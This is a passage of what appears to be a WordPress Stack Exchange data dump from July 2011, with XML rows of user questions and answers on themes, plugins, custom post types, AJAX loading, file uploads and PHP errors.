bugs). But if you are happy with the features of 1.5, you can install version 1.5.1 if it is released to fix a security issue in 1.5.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-07-09T13:07:35.983" CommunityOwnedDate="2011-07-09T13:07:35.983" />
  <row Id="22492" PostTypeId="1" CreationDate="2011-07-09T13:08:52.357" Score="0" ViewCount="17" Body="&lt;p&gt;I am using the &lt;a href=&quot;http://wordpress.org/extend/plugins/attachments/&quot; rel=&quot;nofollow&quot;&gt;Attachments&lt;/a&gt; plugin, but this question I'm sure is applicable to the regular media library. What I want to do is have an 'attachment' (metadata, title, caption) but with no image associated with it. Reason being, I want to treat attachments as 'project items' which can either be an image or a block of text. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="6318" LastActivityDate="2011-08-11T09:22:18.370" Title="Attachments without images" Tags="&lt;images&gt;&lt;attachments&gt;&lt;media&gt;" AnswerCount="1" />
  <row Id="22493" PostTypeId="1" CreationDate="2011-07-09T13:27:23.667" Score="0" ViewCount="36" Body="&lt;p&gt;I have created some pages with children and grandchildren, I want to display only grandchildren on the page (say grandparent) and not its children. This is a multilevel menu, so when I click on say &gt; Solutions, it should exclude its direct children(first level menu &gt; say webdesign, web development,...) and show content of grandchildren(second level menu say css,html,php,wordpress,...), I have tried get_pages, wp_list_pages and many other options but nothing provides the exact output....&lt;/p&gt;&#xA;" OwnerUserId="4604" LastActivityDate="2011-07-09T13:27:23.667" Title="How can I show only grandchildren pages excluding their parent pages on grandparent page?" Tags="&lt;pages&gt;&lt;child-pages&gt;" />
  <row Id="22494" PostTypeId="2" ParentId="20240" CreationDate="2011-07-09T13:57:49.293" Score="0" ViewCount="" Body="&lt;p&gt;Changing a URL always consists of two parts: changing the code that accepts the URLs (to make sure you get something when you go to &lt;code&gt;example.com/edit&lt;/code&gt;), and changing the URLs that the code outputs in the HTML (so a link to &lt;code&gt;wp-admin/&lt;/code&gt; will be written as &lt;code&gt;edit/&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first part is the easy part, and you can do it with Apache rewrite rules. This way you make make a request for &lt;code&gt;example.com/edit&lt;/code&gt; look like it was for &lt;code&gt;example.com/wp-admin&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second part is the hard part, and indeed requires a global search-and-replace, because it is &quot;hard-coded&quot; all over the place. The discussions and Trac tickets &lt;a href=&quot;http://wordpress.stackexchange.com/questions/106/can-i-rename-the-wp-admin-folder/126#126&quot;&gt;Mike linked to in his answer to the older question&lt;/a&gt; indicate that the core developers currently have no plans to change this, because they do not see the benefit. Indeed, your use case could also be handled in a way that does not require you to use &lt;code&gt;wp-admin&lt;/code&gt; (moving everything to the front-end).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-07-09T13:57:49.293" />
  <row Id="22495" PostTypeId="1" CreationDate="2011-07-09T14:20:11.460" Score="0" ViewCount="24" Body="&lt;p&gt;I have a plugin that I've made that is simple as pie. Here's the key bit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; onclick : function() {&#xA;&#xA;                 ed.selection.setContent('&amp;lt;h3&amp;gt;' + ed.selection.getContent() + '&amp;lt;/h3&amp;gt;');&#xA;&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just so a client can simply add subheadings to their pages without having to worry about anything else. Just click the heading button. Ideally I'd modify this so that it would be a toggle, ie. if h3 was already wrapped around the selected text, it would 'unwrap' it. My javascript/ tinymce knowledge is a bit lacking - not sure how to detect the path to see if it's already wrapped. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help would be greatly greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="6893" LastActivityDate="2011-07-09T14:20:11.460" Title="Add h3 tag tinymce plugin" Tags="&lt;plugin-tinymce&gt;" CommentCount="1" />
  <row Id="22496" PostTypeId="2" ParentId="22241" CreationDate="2011-07-09T14:42:57.803" Score="1" ViewCount="" Body="&lt;p&gt;It is indeed a &lt;code&gt;z-index&lt;/code&gt; problem. The &lt;code&gt;#branding&lt;/code&gt; element has a &lt;code&gt;z-index&lt;/code&gt; of 2, in other themes (like Twenty Ten, the default in 3.0 and 3.1), it was not set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple solution is to set the &lt;code&gt;z-index&lt;/code&gt; of &lt;code&gt;#chat-block-site&lt;/code&gt; to something higher.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#chat-block-site&#xA;{&#xA;    z-index: 10;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-07-09T14:42:57.803" />
  <row Id="22497" PostTypeId="1" CreationDate="2011-07-09T14:58:39.727" Score="5" ViewCount="139" Body="&lt;p&gt;I'm aware of &lt;a href=&quot;http://scribu.net/wordpress/scb-framework&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/scb-framework&lt;/a&gt; and &lt;a href=&quot;https://github.com/Sitebase/wpframework&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Sitebase/wpframework&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone using one of these or would recommend another? I'm keen to use OOP in plugin development (and avoid a discussion about whether that is a good idea ;-))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that I am asking about PLUGIN frameworks and &lt;em&gt;not&lt;/em&gt; theme frameworks&lt;/p&gt;&#xA;" OwnerUserId="500" LastEditorUserId="500" LastEditorDisplayName="" LastEditDate="2011-08-18T08:24:12.620" LastActivityDate="2011-08-18T08:24:12.620" CommunityOwnedDate="2011-08-23T12:12:41.883" Title="Which OOP plugin frameworks are people using?" Tags="&lt;plugin-development&gt;" CommentCount="1" FavoriteCount="4" />
  <row Id="22498" PostTypeId="1" CreationDate="2011-07-09T14:59:12.767" Score="0" ViewCount="18" Body="&lt;p&gt;Is there have any way to bulk edit post formats on a site? I wanna change a part of my posts format from standard to aside or gallery or ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some plugins or SQL maybe done that, but I don't know how.&lt;/p&gt;&#xA;" OwnerUserId="6899" LastActivityDate="2011-07-09T14:59:12.767" Title="How to bulk edit post formats of posts on a site" Tags="&lt;post-formats&gt;&lt;bulk&gt;" />
  <row Id="22499" PostTypeId="2" ParentId="22009" CreationDate="2011-07-09T15:43:53.290" Score="0" ViewCount="" Body="&lt;p&gt;Just to chime in here...what I had to do to solve this was to first deregister WordPress' copy of jquery and then register a google hosted copy of version 1.4.4 of jquery for all my scripts to work.&lt;/p&gt;&#xA;" OwnerUserId="6900" LastActivityDate="2011-07-09T15:43:53.290" />
  <row Id="22500" PostTypeId="2" ParentId="22492" CreationDate="2011-07-09T15:47:08.187" Score="0" ViewCount="" Body="&lt;p&gt;Then you should use custom fields, attachments are for something to attach from your media library. &#xA;Custom fields on the other hand can be anything you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Custom_Fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a plugin I recommend , &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-field-template/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-09T15:47:08.187" />
  <row Id="22501" PostTypeId="1" AcceptedAnswerId="22793" CreationDate="2011-07-09T16:22:49.960" Score="0" ViewCount="67" Body="&lt;p&gt;I try to made a website in full ajax (a html5 website). I use jquery and innerShiv (for ie).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For exemple I want to load  all the content of the &quot;section&quot; tag of a page.&#xA;When I use that script, it works perfectly :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;var link = 'http://ajax.wuiwui.net';&#xA;$('#new').load(link + ' #contenu');&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when i use this one, I can't find element which aren't into the wordpress loop...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$.ajax({&#xA;  url: link,&#xA;  processData: false,&#xA;  success: function(data){&#xA;    data = innerShiv(data,false);&#xA;    var truc = $(data).find('#contenu');&#xA;    $('#new').append(truc);&#xA;  }&#xA;});&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For my project I want to load some elements with only one ajax request, so the second script is more intersting.  But it dont work...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know why ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My project : http:/ajax.wuiwui.net&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for your help !&lt;/p&gt;&#xA;" OwnerUserId="6901" LastActivityDate="2011-07-13T04:17:28.590" Title="Ajax request with jQuery without WP_ajax" Tags="&lt;jquery&gt;&lt;ajax&gt;&lt;the-loop&gt;&lt;html5&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="22503" PostTypeId="1" AcceptedAnswerId="22533" CreationDate="2011-07-09T17:06:19.960" Score="0" ViewCount="198" Body="&lt;p&gt;I'm new here and I really hope somebody can help me.&#xA;I've tried alone for many days, found a lot of solutions that worked for others, but that didn't work for me and so I really hope somebody here can help me figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the &quot;Guan Image Notes&quot; Plugin installed. &#xA;I finally got it to work (it seems to interfer with other plugins, especially OpenID and Captcha plugins).&#xA;However I can't seem to get rid of this error message when somebody sends a comment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Cannot modify header information - headers already sent by (output started at /hermes/bos.../wp-content/plugins/guan-image-notes/imageannotation.php:178) in /hermes/bos.../wp-comments-post.php on line 95&#xA;&#xA;Warning: Cannot modify header information - headers already sent by (output started at /hermes/bos.../wp-content/plugins/guan-image-notes/imageannotation.php:178) in /hermes/bos.../wp-comments-post.php on line 96&#xA;&#xA;Warning: Cannot modify header information - headers already sent by (output started at /hermes/bos.../wp-content/plugins/guan-image-notes/imageannotation.php:178) in /hermes/bos.../wp-comments-post.php on line 97&#xA;&#xA;Warning: Cannot modify header information - headers already sent by (output started at /hermes/bos.../wp-content/plugins/guan-image-notes/imageannotation.php:178) in /hermes/bos.../wp-includes/pluggable.php on line 934&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The comment is still being sent, though!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to modify that line. Wrapping it.&#xA;The content of that line is:        &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;&amp;amp;nbsp;&quot;;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here*s the whole code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/pu86tyn5&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/pu86tyn5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really hope somebody can help me figure this out.&#xA;I'm a total beginner when it comes to coding.&#xA;My website looks horrible right now as I'm still trying out things.&#xA;If you need to check my website, here it is: &lt;a href=&quot;http://www.zoomingjapan.com/&quot; rel=&quot;nofollow&quot; title=&quot;here&quot;&gt;click&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much in advance.&lt;/p&gt;&#xA;" OwnerUserId="6903" LastEditorUserId="6903" LastEditorDisplayName="" LastEditDate="2011-07-10T02:54:18.727" LastActivityDate="2011-08-15T20:24:49.907" Title="wp-comment-post.php and header already sent issues" Tags="&lt;comment-form&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="22504" PostTypeId="1" CreationDate="2011-07-09T17:00:52.973" Score="0" ViewCount="17" Body="&lt;p&gt;Well i have a problem, i am using cforms II and having trouble in 1 case, its working fine but i add 3 image uploading options and i want that when i recieve email, i want image link in my email, so i can directly able to view the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please kindly help me in this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all&lt;/p&gt;&#xA;" OwnerUserId="4716" LastActivityDate="2011-07-09T17:16:16.800" Title="Want cforms II image attachment link in email" Tags="&lt;support&gt;&lt;bug&gt;" />
  <row Id="22505" PostTypeId="1" CreationDate="2011-07-09T19:31:02.363" Score="0" ViewCount="43" Body="&lt;p&gt;I have a template set up and I've created a page in WordPress and have chosen the corresponding template in the drop down. I have created templates for several pages of this site and they've all worked fine; however, this one template is causing problems. WordPress keeps fetching the archive page for some reason. The exact body class is this: &lt;code&gt;archive post-type-archive post-type-archive-teams logged-in&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the template I've created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php get_header();?&amp;gt;&#xA;&#xA;            &amp;lt;section id=&quot;content&quot;&amp;gt;&#xA;&#xA;                &amp;lt;?php&#xA;                    $temp = $wp_query;&#xA;                    $wp_query = null;&#xA;                    $wp_query = new WP_Query();&#xA;                    $wp_query-&amp;gt;query('post_type=teams&amp;amp;posts_per_page=7');&#xA;&#xA;                    while ( $wp_query-&amp;gt;have_posts() ) : $wp_query-&amp;gt;the_post();&#xA;&#xA;                ?&amp;gt;&#xA;&#xA;                &amp;lt;article class=&quot;post team&quot; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;section class=&quot;entry&quot;&amp;gt;&#xA;                                      content here&#xA;                    &amp;lt;/section&amp;gt;&#xA;                &amp;lt;/article&amp;gt;&#xA;&#xA;                &amp;lt;?php&#xA;                    endwhile; &#xA;                    $wp_query = null;&#xA;                    $wp_query = $temp;&#xA;                    wp_reset_query();&#xA;                ?&amp;gt;&#xA;            &amp;lt;/section&amp;gt;&#xA;&#xA;        &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone help me out in figuring out why this isn't working?&lt;/p&gt;&#xA;" OwnerUserId="6906" LastActivityDate="2011-07-09T19:31:02.363" Title="WordPress keeps fetching the archive page instead of the template page" Tags="&lt;custom-post-types&gt;&lt;page-template&gt;" CommentCount="2" />
  <row Id="22506" PostTypeId="2" ParentId="22364" CreationDate="2011-07-09T19:40:52.167" Score="0" ViewCount="" Body="&lt;p&gt;To alter your default or main loop you can add &lt;code&gt;query_posts&lt;/code&gt; before the loop runs.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query&lt;/a&gt; ( parameters)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example in your above code, to include all posts including custom posts types you would write;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts( 'post_type=any'); ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;//rest of your code from above&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to just include all default posts and 1 custom post type called &quot;mass_list&quot; , I recommend using WP Query over query_posts in this case. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $query = new WP_Query( array( 'post_type' =&amp;gt; array( 'post',  'mass_list' ) ) ); ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;    //rest of your code from above&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can drill down by looking at the parameters of WP Query in the link above, as you can see the options of WP Query allow for a lot of custom output.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-09T19:40:52.167" CommentCount="3" />
  <row Id="22507" PostTypeId="2" ParentId="6049" CreationDate="2011-07-09T19:55:07.223" Score="1" ViewCount="" Body="&lt;p&gt;I think this should definitely be doable. I think I would first try to get one of the LDAP authentication plugins -- like &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-ldap-login/&quot; rel=&quot;nofollow&quot;&gt;Simple LDAP Login&lt;/a&gt; or &lt;a href=&quot;http://wordpress.org/extend/plugins/ldap-login-password-and-role-manager/&quot; rel=&quot;nofollow&quot;&gt;LDAP Login Password and Role Manager&lt;/a&gt; --  working, and then write a small custom plugin to handle the content authorization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a rough outline of the custom plugin's main logic:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function checkContentAuthorization( $content )&#xA;{&#xA;    $authorization = array(&#xA;        'ldap group 1' =&amp;gt; array(&#xA;            'authorizesCategories'  = array( 1, 14, 83 ),&#xA;            'authorizedPosts'       = array( 53, 48, 23, 432 )&#xA;        ),&#xA;        'ldap group 2' =&amp;gt; array(&#xA;            'authorizesCategories'  = array( 54, 9, 34 ),&#xA;            'authorizedPosts'       = array( 48, 13, 29, 93 )&#xA;        ),&#xA;    )&#xA;&#xA;    if( is_category() )&#xA;    {&#xA;        if( !in_array( $currentCategoryID, $authorization[ currentLDAPUser-&amp;gt;groupName ][ 'authorizedCategories' ] )&#xA;            $content = 'Access denied';&#xA;    }&#xA;    elseif( is_single() )&#xA;    {&#xA;        if( !in_array( $currentPostID, $authorization[ currentLDAPUser-&amp;gt;groupName ][ 'authorizedPosts' ] )&#xA;            $content = 'Access denied';&#xA;    }&#xA;&#xA;    return $content;&#xA;}&#xA;add_filter( 'the_content', 'checkContentAuthorization' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously that's a stripped down version and there's a lot of details to fill in, but actually writing the plugin itself would take at least half a day. That should get you pointed in the right direction, though.&lt;/p&gt;&#xA;" OwnerUserId="3898" LastEditorUserId="3898" LastEditorDisplayName="" LastEditDate="2011-07-15T22:06:38.693" LastActivityDate="2011-07-15T22:06:38.693" />
  <row Id="22508" PostTypeId="1" AcceptedAnswerId="22509" CreationDate="2011-07-09T20:02:32.600" Score="0" ViewCount="26" Body="&lt;p&gt;I have a custom post type; posts of this type can have either one or two categories associated with them. I need to display the names of the categories that are associated with each of these custom posts within the loop. Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="6389" LastActivityDate="2011-07-09T20:07:28.367" Title="Show the categories the current post has" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;php&gt;&lt;the-loop&gt;" AnswerCount="1" />
  <row Id="22509" PostTypeId="2" ParentId="22508" CreationDate="2011-07-09T20:07:28.367" Score="1" ViewCount="" Body="&lt;p&gt;Assuming you have added the &lt;code&gt;category&lt;/code&gt; taxonomy to your Custom Post Type, you can simply call &lt;code&gt;the_category()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, if you're using a custom taxonomy, you can echo the results of &lt;code&gt;get_the_terms( $id, $taxonomy )&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-09T20:07:28.367" />
  <row Id="22510" PostTypeId="2" ParentId="22035" CreationDate="2011-07-09T20:11:32.437" Score="1" ViewCount="" Body="&lt;p&gt;You can use WordPress's built in upload handler, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_handle_upload&quot; rel=&quot;nofollow&quot;&gt;wp_handle_upload()&lt;/a&gt;. You can use the &lt;code&gt;upload_dir&lt;/code&gt; filter to set the custom directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some code snippits from one of my plugins that you can use/modify:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function saveCustomFields()&#xA;{&#xA;    global $post;&#xA;&#xA;    if($post-&amp;gt;post_type == self::POST_TYPE &amp;amp;&amp;amp; current_user_can( 'edit_post', $post-&amp;gt;ID ) )&#xA;    {&#xA;        if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE )&#xA;            return;&#xA;&#xA;        $fileReference = 'installPDF'; // This has to be in a variable because it gets passed by reference to wp_handle_upload()&#xA;&#xA;        // save normal custom fields w/ update_post_meta() here&#xA;&#xA;        if( empty($_FILES[$fileReference] ) )&#xA;        {&#xA;            // your custom logic if needed&#xA;        }&#xA;        else&#xA;        {&#xA;            $overrides = array(&#xA;                'test_form' =&amp;gt; false,&#xA;                'unique_filename_callback' =&amp;gt; self::PREFIX . 'setFilename'      // this lets you rename the file&#xA;            );&#xA;&#xA;            $result = wp_handle_upload( $_FILES[$fileReference], $overrides );&#xA;&#xA;            if( is_array($result) &amp;amp;&amp;amp; array_key_exists('error', $result) &amp;amp;&amp;amp; !empty( $result['error'] ) )&#xA;            {&#xA;                // failure logic&#xA;            }&#xA;            else&#xA;            {&#xA;                // success logic&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;add_action( 'post_updated', array( $this, 'saveCustomFields') );&#xA;&#xA;public function addFormEnctype()&#xA;{&#xA;    // this is needed to enable file uplodas on your form&#xA;&#xA;    echo ' enctype=&quot;multipart/form-data&quot;';&#xA;}   &#xA;add_action( 'post_edit_form_tag',   array( $this, 'addFormEnctype') );&#xA;&#xA;public function setUploadDirectory($uploads)&#xA;{&#xA;    global $post;&#xA;&#xA;    if( $post-&amp;gt;post_type == self::POST_TYPE )&#xA;    {&#xA;        $uploads['path']    = $this-&amp;gt;uploadDir . $this-&amp;gt;uploadYear .'/';&#xA;        $uploads['url']     = $this-&amp;gt;uploadURL . $this-&amp;gt;uploadYear .'/';&#xA;        $uploads['subdir']  = '/'. $this-&amp;gt;uploadYear;&#xA;        $uploads['basedir'] = $this-&amp;gt;uploadDir;&#xA;        $uploads['baseurl'] = $this-&amp;gt;uploadURL;&#xA;    }   &#xA;&#xA;    return $uploads;&#xA;}&#xA;add_filter( 'upload_dir',           array( $this, 'setUploadDirectory') );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3898" LastActivityDate="2011-07-09T20:11:32.437" />
  <row Id="22511" PostTypeId="1" CreationDate="2011-07-09T20:39:50.997" Score="1" ViewCount="46" Body="&lt;p&gt;I'm creating a very basic Wordpress plugin whose purpose is to display a numerical value beside each post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Logic for the plugin function (&lt;strong&gt;plugin.php&lt;/strong&gt;) is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function foo($post_id){&#xA;$somevalue=1 //Some random value&#xA;add_post_meta($post_id, 'posts_numericalvalue', '0', true) or update_post_meta($_post_id, 'posts_numericalvalue', $somevalue);&#xA;}&#xA;&#xA;add_action('post_save', 'foo');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in my template's &lt;strong&gt;index.php&lt;/strong&gt;, I have (inside the loop):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;....&#xA;printf(__('Permanent Link to %s', 'kubrick'), the_title_attribute('echo=0'));&#xA;$numerical_val = get_post_meta($post-&amp;gt;ID, posts_numericalvalue); &#xA;echo 'this post has a value of ' .$numerical_val;&#xA;....&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;1) The code above is obviously not working. I think its because my function in plugin.php requires me to pass the current post's ID, but the action hook doesn't pass the post's current ID I guess (correct me if I'm wrong). How do I pass the post ID to my function inside plugin.php using an action hook?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Any other elegant way of doing this? I just need to assign my posts with a numerical value which should be updated with 1 if the post already has one, zero if the post hasn't got one already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4746" LastActivityDate="2011-07-09T20:39:50.997" Title="Wordpress Action Hooks and Post ID?" Tags="&lt;post-meta&gt;&lt;custom-field&gt;" />
  <row Id="22512" PostTypeId="1" AcceptedAnswerId="22639" CreationDate="2011-07-09T21:02:07.230" Score="0" ViewCount="49" Body="&lt;p&gt;Sometimes after activating a plugin the admin side is blank with a memory error message, sometimes the front page too. The standard fix is to increase the memory in config.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to prevent in advance all or most memory problems to occur ?&lt;/p&gt;&#xA;" OwnerUserId="5915" LastActivityDate="2011-07-11T14:24:03.890" Title="Not enough memory" Tags="&lt;memory&gt;" AnswerCount="2" />
  <row Id="22513" PostTypeId="2" ParentId="15800" CreationDate="2011-07-09T21:02:30.637" Score="1" ViewCount="" Body="&lt;p&gt;Despite what the Codex says, $postarr doesn't always get passed in, so you should just use $data. $data isn't a meaningful variable name, though, so I prefer $cleanPost. I'd also try removing the priority on the filter, since it's not usually necessary. It's also a good idea to set the slug (&lt;code&gt;post_name&lt;/code&gt;) in addition to the title, and to avoid running the code on auto-drafts and trash/untrash operations. See if this works instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function status_title_filter( $cleanPost )&#xA;{&#xA;    if( $cleanPost['post_type'] == 'status' &amp;amp;&amp;amp; $cleanPost['post_status'] != 'auto-draft' &amp;amp;&amp;amp; $_GET['action'] != 'trash' &amp;amp;&amp;amp; $_GET['action'] != 'untrash' )&#xA;        $cleanPost['post_title'] = $cleanPost['post_name'] = $cleanPost['post_date'];&#xA;&#xA;    return $cleanPost;&#xA;}&#xA;&#xA;add_filter( 'wp_insert_post_data', 'status_title_filter' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: I think the reason you don't see $postarr is because by default action callbacks only accept one parameter. If you want more then you have to specify that in the hook, like &lt;code&gt;add_action( 'wp_insert_post_data', 'my_callback_function', 10, 2)&lt;/code&gt;. That would set the priority to 10 and the number of arguments to 2.&lt;/p&gt;&#xA;" OwnerUserId="3898" LastEditorUserId="3898" LastEditorDisplayName="" LastEditDate="2011-07-29T22:26:07.753" LastActivityDate="2011-07-29T22:26:07.753" />
  <row Id="22514" PostTypeId="1" CreationDate="2011-07-09T21:07:39.437" Score="-2" ViewCount="69" Body="&lt;p&gt;I want to set a full header in wordpress theme, while i want to keep the content narrow (center). How can i do that? I'm trying like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;&#xA;&amp;lt;!-- BEGIN header --&amp;gt;&#xA;    &amp;lt;div id=&quot;header&quot;&amp;gt;&#xA;&#xA;    ...&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;!-- END header --&amp;gt;&#xA;&amp;lt;div id=&quot;wrapper&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will display background image fine, the title and other text inside the header will be totally in the left side. (As its the wrapper which keeps the content center,and now header is outside of the wrapper). If i put the header inside the wrapper tag, the text inside header is at right place but the header image will also be displayed within the wrapper area only (it will not be shown on full body).&#xA;I want to have one image in header background, and a different image in body background. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will be thankful if you can help me with this problem.&lt;/p&gt;&#xA;" OwnerUserId="6908" LastActivityDate="2011-07-09T23:01:43.687" Title="How to create full header but keep content narrow" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;headers&gt;&lt;header&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="22515" PostTypeId="2" ParentId="22512" CreationDate="2011-07-09T21:39:28.150" Score="0" ViewCount="" Body="&lt;p&gt;It can be set it your .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_value memory_limit 16M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set it to 256M or 512M and you should be ok.&lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-07-09T21:39:28.150" CommentCount="4" />
  <row Id="22516" PostTypeId="1" CreationDate="2011-07-09T21:48:28.457" Score="0" ViewCount="40" Body="&lt;p&gt;I was wondering if there was a way to make the search only look for the first letter in the posts title, basically let's say my search query is www.mysite.com/?s=q I'd like to get all posts that start with the letter &quot;Q&quot;. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-07-09T21:48:28.457" Title="How to limit search to first letter of title?" Tags="&lt;query-posts&gt;&lt;filters&gt;&lt;search&gt;&lt;query&gt;" />
